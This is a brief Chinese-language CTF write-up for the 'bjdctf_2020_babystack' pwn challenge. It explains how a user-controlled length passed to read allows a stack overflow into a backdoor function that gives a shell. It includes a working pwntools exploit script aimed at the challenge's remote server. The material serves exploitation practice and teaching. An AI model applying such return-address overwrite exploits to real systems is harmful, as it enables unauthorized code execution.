bjdctf_2020_babystack
checksec 一下 64位程序 没开啥东西 ,ida看一下程序
main函数
咋一看read函数读入0个字符串,读了个寂寞,scanf也不能溢出,好像没有问题
但是scanf会读入一个用户输入的数赋值给nbytes ,然后read会读取nbytes大小的字符,也就是说我们可以任意溢出长度
backdoor函数
运行这个函数直接拿到shell
exp
ret 是为了平衡栈 其实往backdoor函数后递+1也行
from pwn import *
io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561
print backdoor
io.sendlineafter(b"Please input the length of your name:","100")
payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])
io.sendlineafter("What's u name?",payload)
io.interactive()